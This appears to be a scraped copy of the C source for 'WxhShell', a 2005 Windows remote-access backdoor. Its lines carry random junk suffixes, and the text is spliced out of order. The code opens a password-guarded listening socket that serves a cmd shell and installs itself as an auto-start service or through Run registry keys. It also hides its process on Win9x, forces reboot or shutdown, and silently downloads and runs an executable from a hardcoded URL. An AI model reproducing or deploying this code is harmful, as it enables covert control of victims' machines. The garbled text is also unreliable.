    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E~ +g6YlT  
    else { ub9,Wd"^  
    closesocket(wsh); T;sF@?  
    ExitThread(0); #tN!^LLi  
    } 8;$zD]{D1  
    break; B\\M%!a>  
    } O&evv8 6L  
  // 获取shell {4>N2mP{M  
  case 's': { COH9E\ZGF  
    CmdShell(wsh); o?/fObV@(  
    closesocket(wsh); ~S~4pK  
    ExitThread(0); h ;1D T  
    break; _g%,/y 9y  
  } _<u>? Qt  
  // 退出 Kb~i9x&  
  case 'x': { #k|f%!-Vo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); irF+(&q]jh  
    CloseIt(wsh); FZ5 Ad&".@  
    break; ,m[#<}xXA  
    } j7yUya&  
  // 离开  Y3g<%6  
  case 'q': { TEQs9-Uy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "L+NN|  
    closesocket(wsh); J[al4e^  
    WSACleanup(); #L+ZHs~  
    exit(1); _rz7)%Y'#$  
    break; Odr<fvV,>  
        } 8+Abw)]s  
  } 46D _K  
  } =)f5JwZPG  
#Q/xQ`+|.  
  // 提示信息 R c  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 09J,!NN  
} e4<St`K  
  } +2,EK   
t#2szr+  
  return; \kP1Jr  
} G;AJBs>Y}  
;N^4R$Q.  
// shell模块句柄 .#LvvAeh  
int CmdShell(SOCKET sock) thSXri?kl  
{ YP73  
STARTUPINFO si; Ww =ksggpB  
ZeroMemory(&si,sizeof(si)); ZY*_x)h+#7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (97&mhs3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; tZygTvK/S  
PROCESS_INFORMATION ProcessInfo; ^K0oJg.E  
char cmdline[]="cmd"; (p(-E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FL[w\&fp  
  return 0; Z b:S IJ  
} ]%Lk#BA@A  
KqvM5$3  
// 自身启动模式 c/}-pZn<  
int StartFromService(void) nU/x,W[}  
{ rw%OA4>  
typedef struct LCMn9I  
{ p4@0Dz`Q  
  DWORD ExitStatus; ;CDa*(e  
  DWORD PebBaseAddress; ~ep^S^V+  
  DWORD AffinityMask; +HEL^  
  DWORD BasePriority; ,'byJlw_pv  
  ULONG UniqueProcessId; zcOG[-  
  ULONG InheritedFromUniqueProcessId; nG7E j#1  
}   PROCESS_BASIC_INFORMATION; ~;@\9oPpz%  
wDKA1i%G  
PROCNTQSIP NtQueryInformationProcess;  h 3V; J  
>S@><[C  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3w8v.J8q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; K_-S`-eH  
c>+hY5?C  
  HANDLE             hProcess; +T HBPEq  
  PROCESS_BASIC_INFORMATION pbi; +kx#"L:  
eKe[]/}e9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4o kZ  
  if(NULL == hInst ) return 0; _ uZVlu@  
{cmV{ 4Yx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Wb3JQ)  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TE-(Zil\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;RS^^vDm  
s:J QV  
  if (!NtQueryInformationProcess) return 0; ZmS ]4WM<  
bq z*90  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); K Vnz{cx`  
  if(!hProcess) return 0; 8xx2+  
p{;FO?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?|{tWR,Vb  
T1uOp5_]B  
  CloseHandle(hProcess); M<ba+Qn$  
?GGBDql  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^]9.$$GU\A  
if(hProcess==NULL) return 0; %D>cY!  
iz2;xa*  
HMODULE hMod; 9n;6;K#  
char procName[255]; oT9qd@uQ0:  
unsigned long cbNeeded; m'U>=<!D  
)| F O>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A[H"(E#k  
\;0UP+  
  CloseHandle(hProcess); }T"&4Rvs2R  
v\-7sgZR  
if(strstr(procName,"services")) return 1; // 以服务启动 KA elq*  
V-lp';bD  
  return 0; // 注册表启动 Mc 6v  
} h! w d/jR  
WB\chb%ej#  
// 主模块 ^"+Vx9H"{  
int StartWxhshell(LPSTR lpCmdLine) /e7BW0$1  
{ 6f&qtJQ<A  
  SOCKET wsl;  \1?:  
BOOL val=TRUE; 4B@Ir)^(*  
  int port=0; >uwd3XW5  
  struct sockaddr_in door; 4)d"}j  
+krDmU9(  
  if(wscfg.ws_autoins) Install(); [N0"mE<  
Ha~} NO  
port=atoi(lpCmdLine); R@2*Lgxz~  
P=.T|l1  
if(port<=0) port=wscfg.ws_port; ^TAf+C^Ry  
3e1^r_YI  
  WSADATA data; T *rz#O  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S{UEV7d:n0  
M+WN\.2pX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c> ":g~w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); % {A%SDh  
  door.sin_family = AF_INET; Q6d>tqWhq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); t^7}j4lk  
  door.sin_port = htons(port); j~O"=?7!O  
0(+dXzcwM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { vO8CT-)  
closesocket(wsl); Oo x,4 &  
return 1; EB8<!c ?  
} ~Z5Wwp]a  
]?s^{  
  if(listen(wsl,2) == INVALID_SOCKET) { a4eE/1  
closesocket(wsl); %] !xr6d  
return 1; D3x W?$Z  
} rXVR X#Lh  
  Wxhshell(wsl); 0f"la=6  
  WSACleanup(); vn^*  
1Wz5Iv#Ez  
return 0; 9KMtPBZ  
dwVo"_Yr  
} | ?ma?  
K&;/hdS=F  
// 以NT服务方式启动 F`57;)F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i"#zb&~nF  
{ k];fQ7}m<0  
DWORD   status = 0; '|nAGkA  
  DWORD   specificError = 0xfffffff; Cd7l+~*Y  
1_z~<d @?;  
  serviceStatus.dwServiceType     = SERVICE_WIN32; aV G4D f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; teJY*)d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =8E GB\P  
  serviceStatus.dwWin32ExitCode     = 0; .p-T >  
  serviceStatus.dwServiceSpecificExitCode = 0; [W=6NAd  
  serviceStatus.dwCheckPoint       = 0; >/y+;<MZ  
  serviceStatus.dwWaitHint       = 0; ig4mj47wJ  
/086qB|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yVH>Q-{  
  if (hServiceStatusHandle==0) return; Zmy:Etqi  
L!^^3vn  
status = GetLastError(); "\"sM{x  
  if (status!=NO_ERROR) I1!m;5-c9k  
{ HQV#8G#B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sF1j4 NC  
    serviceStatus.dwCheckPoint       = 0; Q&e*[l2M6  
    serviceStatus.dwWaitHint       = 0; >0I\w$L  
    serviceStatus.dwWin32ExitCode     = status; ykNPKzW:  
    serviceStatus.dwServiceSpecificExitCode = specificError; 2UEjn>2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); MzIn~[\  
    return; n4 J*04K  
  } 'Jl73#3  
90!67Ap`x  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |.LE`  
  serviceStatus.dwCheckPoint       = 0; ?xtP\~  
  serviceStatus.dwWaitHint       = 0; xU'% 6/G  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); V)cL=4G  
} `<* tp@  
k4YW;6<C+  
// 处理NT服务事件,比如:启动、停止 -qJO6OM  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Il$Jj-)  
{ 8Oo16LPD  
switch(fdwControl) ^q/_D%]C  
{ N6!$V7oT  
case SERVICE_CONTROL_STOP: }RZN3U=  
  serviceStatus.dwWin32ExitCode = 0; ;%PI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2~QN#u|UC3  
  serviceStatus.dwCheckPoint   = 0; P yN{  
  serviceStatus.dwWaitHint     = 0; zE]h]$oi  
  { =Y-mc#{8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1IWP~G  
  } =yLJGNK[  
  return; Ypw:Vp  
case SERVICE_CONTROL_PAUSE: jC L 1Bj  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Su,  
  break; >npFg@A  
case SERVICE_CONTROL_CONTINUE: '))=y@M  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; C7_#D O6"  
  break; 8o!LgT5  
case SERVICE_CONTROL_INTERROGATE: "%K[kA6  
  break; FuFA/R=x/  
}; 9v(k<('_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 01vKx)f  
} <6!/B[!O=  
X5c)T}pyv  
// 标准应用程序主函数 3zo:)N \K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !Q5NV4gd+  
{ n^%",*8gD*  
_:VIlg U  
// 获取操作系统版本 =\i{dj  
OsIsNt=GetOsVer(); 4i(?5p>f  
GetModuleFileName(NULL,ExeFile,MAX_PATH); #\gx.2W7  
t? [8k&Z  
  // 从命令行安装 Y]H,rO  
  if(strpbrk(lpCmdLine,"iI")) Install(); H]Vo XJ\*  
0Y9fK? (  
  // 下载执行文件 +cC$4t0$^A  
if(wscfg.ws_downexe) { P6u%-#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rjL4t^rT  
  WinExec(wscfg.ws_filenam,SW_HIDE); |M(0CYO  
} 0v'!(&m  
wZKEUJpQ  
if(!OsIsNt) { 8U7X/L  
// 如果时win9x,隐藏进程并且设置为注册表启动 qBqh>Wo  
HideProc(); gR@,"6b3  
StartWxhshell(lpCmdLine); yPVK>em5  
} +X!QH/ 8  
else _W gpk 0  
  if(StartFromService())  El |Y]f  
  // 以服务方式启动 kr>F=|R]  
  StartServiceCtrlDispatcher(DispatchTable); eT Z2f  
else 8d8GYTl b)  
  // 普通方式启动 = K3NKPUI  
  StartWxhshell(lpCmdLine); |RZI]H%  
d^^EfWU  
return 0; 's 'H&sa  
} {V5eHn9/Q'  
FP9FE `x  
do=s=&T  
!Yu|au  
=========================================== @]X5g8h  
H:.l:PJ  
`nEe-w^9)I  
?qR11A};tG  
4 -Cca  
]j57Gk%z  
" ?$Ii_.  
A,]%*kg2  
#include <stdio.h> Rg~F[j$N  
#include <string.h> IJv+si:k  
#include <windows.h> R>dd#`r"  
#include <winsock2.h> |7%#z~rT  
#include <winsvc.h> !7jVKI80  
#include <urlmon.h> ZCz#B2Sf8  
G2 !J`}  
#pragma comment (lib, "Ws2_32.lib") Bd>a"3fA  
#pragma comment (lib, "urlmon.lib") ) |j?aVqZ  
fe!{vrS  
#define MAX_USER   100 // 最大客户端连接数 x5 ?>y{6D  
#define BUF_SOCK   200 // sock buffer ?"L ^ 0%  
#define KEY_BUFF   255 // 输入 buffer C7xmk;c w  
Rxk0^d:sNi  
#define REBOOT     0   // 重启 .l +yK-BZ  
#define SHUTDOWN   1   // 关机 <_~e/+_.  
wi@Qf6(mn  
#define DEF_PORT   5000 // 监听端口 m\e?'-(s  
}-H)jN^  
#define REG_LEN     16   // 注册表键长度 `$i/f(t6`  
#define SVC_LEN     80   // NT服务名长度 yNOoAnGT W  
2C"[0*.[N  
// 从dll定义API Sgq?r-Q.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); eq,`T;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *m*sg64Zw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); qUKSo9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); h@%a+6b?  
rWNywxnT  
// wxhshell配置信息 /nB|Fo_&Q  
struct WSCFG { d34BJ<  
  int ws_port;         // 监听端口 e]-%P(}Z  
  char ws_passstr[REG_LEN]; // 口令 }0~X)Vgm(  
  int ws_autoins;       // 安装标记, 1=yes 0=no YuFR*W;$  
  char ws_regname[REG_LEN]; // 注册表键名 3H ,?ZFFGz  
  char ws_svcname[REG_LEN]; // 服务名 s"B+),Jod  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <BjrW]pM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &l?AC%a5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RJOW#e :  
int ws_downexe;       // 下载执行标记, 1=yes 0=no i6)HC  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" yoG*c%3V?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5&TH\2u  
d;.H 9Ne  
}; .X34[AXd  
+0g L!r  
// default Wxhshell configuration RAj>{/E#W  
struct WSCFG wscfg={DEF_PORT, ZY=a[K  
    "xuhuanlingzhe", OTzuOP 8  
    1, SVBo0wvz-  
    "Wxhshell", v-DZW,  
    "Wxhshell", _BZ6Ws$C2  
            "WxhShell Service", xQkvK=~$  
    "Wrsky Windows CmdShell Service", V G|FjD  
    "Please Input Your Password: ", @7K(_Wd  
  1, pT/z`o$#V  
  "http://www.wrsky.com/wxhshell.exe", B}0!b7!  
  "Wxhshell.exe" q5{h@}|M  
    }; + f,Kt9Cy  
kxmc2RH>nB  
// 消息定义模块 "/Pq/\,R|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <nc6 &+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vwAtX($  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; nt8& Mf  
char *msg_ws_ext="\n\rExit."; w|c200Is}e  
char *msg_ws_end="\n\rQuit."; iF Zqoz  
char *msg_ws_boot="\n\rReboot..."; Oi<yT"7  
char *msg_ws_poff="\n\rShutdown..."; 5i+cjT2  
char *msg_ws_down="\n\rSave to "; -tfUkGdx;l  
b_^y Ke^W  
char *msg_ws_err="\n\rErr!"; `T{'ufI4B  
char *msg_ws_ok="\n\rOK!"; hlmeT9v{  
@MO/LvD  
char ExeFile[MAX_PATH]; V.Tn1i-v  
int nUser = 0; PU8dr|!  
HANDLE handles[MAX_USER];  fj'7\[nZ  
int OsIsNt; )3k?{1:  
<QD[hO^/  
SERVICE_STATUS       serviceStatus; JJK-+a6cX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Rqr>B(|  
rFaG-R  
// 函数声明 ty'/i!/\  
int Install(void); 2'u%  
int Uninstall(void); fZrh_^yH  
int DownloadFile(char *sURL, SOCKET wsh); Ub/ZzAwq  
int Boot(int flag); |-L7qZu%  
void HideProc(void); @qEUp7W.?  
int GetOsVer(void); rn/~W[  
int Wxhshell(SOCKET wsl); .3&( Y  
void TalkWithClient(void *cs); &f2:aT)  
int CmdShell(SOCKET sock); 54=*vokX_  
int StartFromService(void); }(7TiCwd  
int StartWxhshell(LPSTR lpCmdLine); \440gH`  
h"nhDART<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R3%%;`c=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *wx95?H0Z  
RFoCM^  
// 数据结构和表定义  ?tA%A  
SERVICE_TABLE_ENTRY DispatchTable[] = f-p$4%(  
{ -iKoQkHt  
{wscfg.ws_svcname, NTServiceMain}, _ s*p$/V\  
{NULL, NULL} .><-XJ  
}; -Aojk8tc  
Y&H<8ez  
// 自我安装 +lb&_eD  
int Install(void) kc(m.k!|f\  
{ hfw+n<  
  char svExeFile[MAX_PATH]; QiK-|hFj  
  HKEY key; F?[1 m2  
  strcpy(svExeFile,ExeFile); )FNn  
}x+6<Rp'E_  
// 如果是win9x系统,修改注册表设为自启动 IqiU  
if(!OsIsNt) { 5RAhm0Op~.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^`k;~4'd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B oxtP<C"  
  RegCloseKey(key); Jy\0y[f*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I]hjv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V~p01f"J  
  RegCloseKey(key); ln+.=U6Tm  
  return 0; *V4%&&{  
    } "YaT1` Kr  
  } t<ZBp0  
} ==Xy'n9'  
else { Q-rG~O9-  
g9fYt&  
// 如果是NT以上系统,安装为系统服务 U8J9 #+:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); lrj&60R`w  
if (schSCManager!=0) bv VkN  
{ b $yIM  
  SC_HANDLE schService = CreateService -DK6(<:0  
  ( RMiDV^.u`  
  schSCManager, UI"UBZZ$  
  wscfg.ws_svcname, 2gh=0%|\gx  
  wscfg.ws_svcdisp, |L`U2.hb  
  SERVICE_ALL_ACCESS, <bb!BS&w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L_aqr?Q  
  SERVICE_AUTO_START, 4hc[ rN,]  
  SERVICE_ERROR_NORMAL, Np%Q-T\  
  svExeFile, K_~kL0=4  
  NULL, _VVq&t}  
  NULL, _",< at  
  NULL, l i)6^f#  
  NULL, L""ZI5J{F9  
  NULL J]#rh5um  
  ); Z,O* p,Gzn  
  if (schService!=0) FzcXSKHV %  
  { 0|.jIix;  
  CloseServiceHandle(schService); ^b$_I31D  
  CloseServiceHandle(schSCManager); (qvH=VTwP  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); jXLd#6  
  strcat(svExeFile,wscfg.ws_svcname); 9cHo~F|ur  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Rk7F;2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .{\eco  
  RegCloseKey(key); qdn_ ZE  
  return 0; xT]t3'y|-  
    } yo/;@}g}  
  } g'b|[ q  
  CloseServiceHandle(schSCManager); Li]96+C$}  
} (' 7$K  
} R?{xs  
kmX9)TMVO  
return 1; 2]I l:>n,  
} s .<.6t:G4  
G;flj}z  
// 自我卸载 q&J5(9]O|L  
int Uninstall(void) $y&W:  
{ 8["%e#%`$  
  HKEY key; ^8_yJ=~V  
]XbMqHGS  
if(!OsIsNt) { B{R[z%Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |Y05 *!\P*  
  RegDeleteValue(key,wscfg.ws_regname); mvK^')  
  RegCloseKey(key); u*): D~A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }6!/Nb  
  RegDeleteValue(key,wscfg.ws_regname); C#nT@;VO5  
  RegCloseKey(key); 2.I|8d[  
  return 0; ge1. HG  
  } \*=wm$p&*  
} 9?MzIt  
} J@2wPKh?Yp  
else { |Z94@uB  
)~)l^0X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nH&z4-1Y?  
if (schSCManager!=0) NLY=o@<  
{ Lc5zu7ncg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &Ap9h# dK  
  if (schService!=0) Vy I\Jmr  
  { A5J41yH  
  if(DeleteService(schService)!=0) { ((+XzV>  
  CloseServiceHandle(schService); r'jUB^E  
  CloseServiceHandle(schSCManager); &>C+5`bg  
  return 0; "WuUMt  
  } :MY=Q]l  
  CloseServiceHandle(schService); :>JfBJ]|  
  } P*BRebL:  
  CloseServiceHandle(schSCManager); lYCvYe  
} 7)V"E-6h  
} 'I&0$<  
F5RL+rU(h  
return 1; T>'O[=UWh  
} ,wes*  
#55:qc>m  
// 从指定url下载文件 4qp|g'uXT  
int DownloadFile(char *sURL, SOCKET wsh) G(.G>8pf  
{ xws{"m,NX~  
  HRESULT hr; c>K]$;}  
char seps[]= "/"; OQ hQ!6  
char *token; T2S_> #."l  
char *file; PXYLL X\3  
char myURL[MAX_PATH]; 'z5jnI  
char myFILE[MAX_PATH];  e|!'  
S xJ&5q  
strcpy(myURL,sURL); G~8BND[."  
  token=strtok(myURL,seps); )g dLb}  
  while(token!=NULL) zUL,~u  
  { =Q40]>bpx  
    file=token; zP%s]>hH  
  token=strtok(NULL,seps); gAWi&  
  } XJ\R'?j  
DOJydYds  
GetCurrentDirectory(MAX_PATH,myFILE); 9>w~B|/  
strcat(myFILE, "\\"); 3\@2!:>  
strcat(myFILE, file); &Y?t  
  send(wsh,myFILE,strlen(myFILE),0); 88v8lt;R  
send(wsh,"...",3,0); 0>Snps3*Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); .)b<cH~%  
  if(hr==S_OK) (cOe*>L;  
return 0; |Q 3d7y  
else &L$9Ii  
return 1; ZI!:  
}6%XiP|  
} r[i^tIv6As  
9=ygkPY  
// 系统电源模块 $ ubU"  
int Boot(int flag) ;,[0bmL  
{ "ktuq\a@  
  HANDLE hToken; 0fXMY-$I  
  TOKEN_PRIVILEGES tkp; K 77iv  
G-T^1?  
  if(OsIsNt) { W+!UVUpW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); AE}cHBwZE  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l;_IH|A  
    tkp.PrivilegeCount = 1; 7j\^h2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; HK/WO jr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1v]%FC`  
if(flag==REBOOT) { 49Jnp>h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) = 0d|F 8  
  return 0; n8<?<-2  
} [[IMf-]  
else { Pl/ dUt_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) c EYHB1*cT  
  return 0; Gn8 sB  
} _GG\SWm  
  } 9Vm1q!lE  
  else { !6'N-b1  
if(flag==REBOOT) { Dhn7N8(LF!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nUP, Yd  
  return 0; d=xjLbsZ  
} _J!^iJ  
else { h5'hP>b#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^1.*NG8  
  return 0; m}wn+R  
} T06(Q[)  
} Q 84t=  
(p%|F`  
return 1; pz /[ ${X  
} 7?=^0?a  
XG.[C>  
// win9x进程隐藏模块 V+"%BrM  
void HideProc(void) '%rT]u3U  
{ pr#%VM[':R  
WT ;2aS:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); SUUNC06V  
  if ( hKernel != NULL ) o4kLgY !Q  
  { &" t~d}Rg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w. k9{f  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t<##0#xS.  
    FreeLibrary(hKernel); nv:Qd\UM  
  } v]V N'Hs?  
k\#;  
return; RJWO h  
} w1)TnGT  
2L](4Q[M  
// 获取操作系统版本 GM%OO)dO}  
int GetOsVer(void) y8~OkdlN#  
{ SCcvU4`o  
  OSVERSIONINFO winfo; G*9>TavE  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }#ZRi}f2VJ  
  GetVersionEx(&winfo); ]#]Z]9w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &|k=mxox\  
  return 1; .kBkYK8*t  
  else <t"T'\3  
  return 0; V6][*.i!9  
} [;z\bV<S  
QXZXj#`  
// 客户端句柄模块 AabQ)23R2  
int Wxhshell(SOCKET wsl) =PRQ3/?5  
{ ,- AF8BP  
  SOCKET wsh; Czjb.c:a.Y  
  struct sockaddr_in client; c#N4XsG,  
  DWORD myID; lr>NG,N  
f(|k0$EIu  
  while(nUser<MAX_USER) [ey# ,&T  
{  `M I;.t  
  int nSize=sizeof(client); uB  I/3aQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g{]6*`/Z  
  if(wsh==INVALID_SOCKET) return 1; #%;Uh  
.]vb\NBK7  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 3}H{4]*%_  
if(handles[nUser]==0) ;_bRq:!j;  
  closesocket(wsh); Uqel UL}  
else wb.yGfJ  
  nUser++; _aFe9+y  
  } {cs>Sy 4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M~2Us{ `  
kg^0%-F  
  return 0; h vYRAQR:  
} |0i{z(B  
[MpWvLP"x  
// 关闭 socket <_xG)vwh.  
void CloseIt(SOCKET wsh) i=xh;yb|  
{ >N|?>M*  
closesocket(wsh); yI: ;+K  
nUser--; ' 4FH9J  
ExitThread(0); z}MxMx c4h  
} M1/d7d  
OeqKKVuQ  
// 客户端请求句柄 inGUN??  
void TalkWithClient(void *cs) . }\8Y=  
{ *K|~]r(F?  
u}nSdZC  
  SOCKET wsh=(SOCKET)cs; ircF3P>a?  
  char pwd[SVC_LEN]; s:tX3X  
  char cmd[KEY_BUFF]; Z<.&fZ^jS  
char chr[1]; /2Wg=&H  
int i,j; BXYHJ  
sQ}|Lu9hZ  
  while (nUser < MAX_USER) { 3xy2ZYw  
f5V-;  
if(wscfg.ws_passstr) { v])ew|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); OE@[a  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gE6'A  
  //ZeroMemory(pwd,KEY_BUFF); A r!0GwE+  
      i=0; t%Jk3W/f  
  while(i<SVC_LEN) { kGV:=h  
MrR`jXz  
  // 设置超时 B.; qvuM~  
  fd_set FdRead; H'k}/<%Q  
  struct timeval TimeOut; \n[kzi7  
  FD_ZERO(&FdRead); j,j|'7J%  
  FD_SET(wsh,&FdRead); "TA0--6  
  TimeOut.tv_sec=8; LaQ7A,]  
  TimeOut.tv_usec=0; h+W$\T)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'f6H#V*C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @[g7\d  
3jAr"xc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); SZKYq8ZA)V  
  pwd=chr[0]; ~, }|~  
  if(chr[0]==0xd || chr[0]==0xa) { lbAhP+B  
  pwd=0; Fx:38Ae  
  break; >%tG[jb  
  } |SOLC  
  i++; }MQ:n8  
    } e\V -L_  
2Xe1qzvo  
  // 如果是非法用户,关闭 socket BH0m[9nU;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 76tn`4NIP  
} eUy*0  
&[[r|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Nm"P8/-09  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NBPP?\1  
!i"zM}  
while(1) { $9`#p/V  
uHKEt[PS$  
  ZeroMemory(cmd,KEY_BUFF); *a Z1 4  
76!LMNf  
      // 自动支持客户端 telnet标准   i47LX;}  
  j=0; JdS,s5Z>  
  while(j<KEY_BUFF) { R;!,(l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !mxH/{+|n  
  cmd[j]=chr[0]; BEOPZ[Q|c  
  if(chr[0]==0xa || chr[0]==0xd) { hWy@?r.  
  cmd[j]=0; +cH>'OXoB  
  break; yh E%X  
  } +VkL?J  
  j++; (m R)o&Y%,  
    } -$:; en?  
(,h2qP-;ud  
  // 下载文件 w1tM !4r  
  if(strstr(cmd,"http://")) { zP44 Xhz  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G%I .u  
  if(DownloadFile(cmd,wsh)) ]Kt@F0U<o  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); osXEzr(  
  else Vkg0C*L_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i%FC lMF  
  } 2K9X (th1  
  else {  @/s|<*  
5?^#v  
    switch(cmd[0]) { r]!#v{#.  
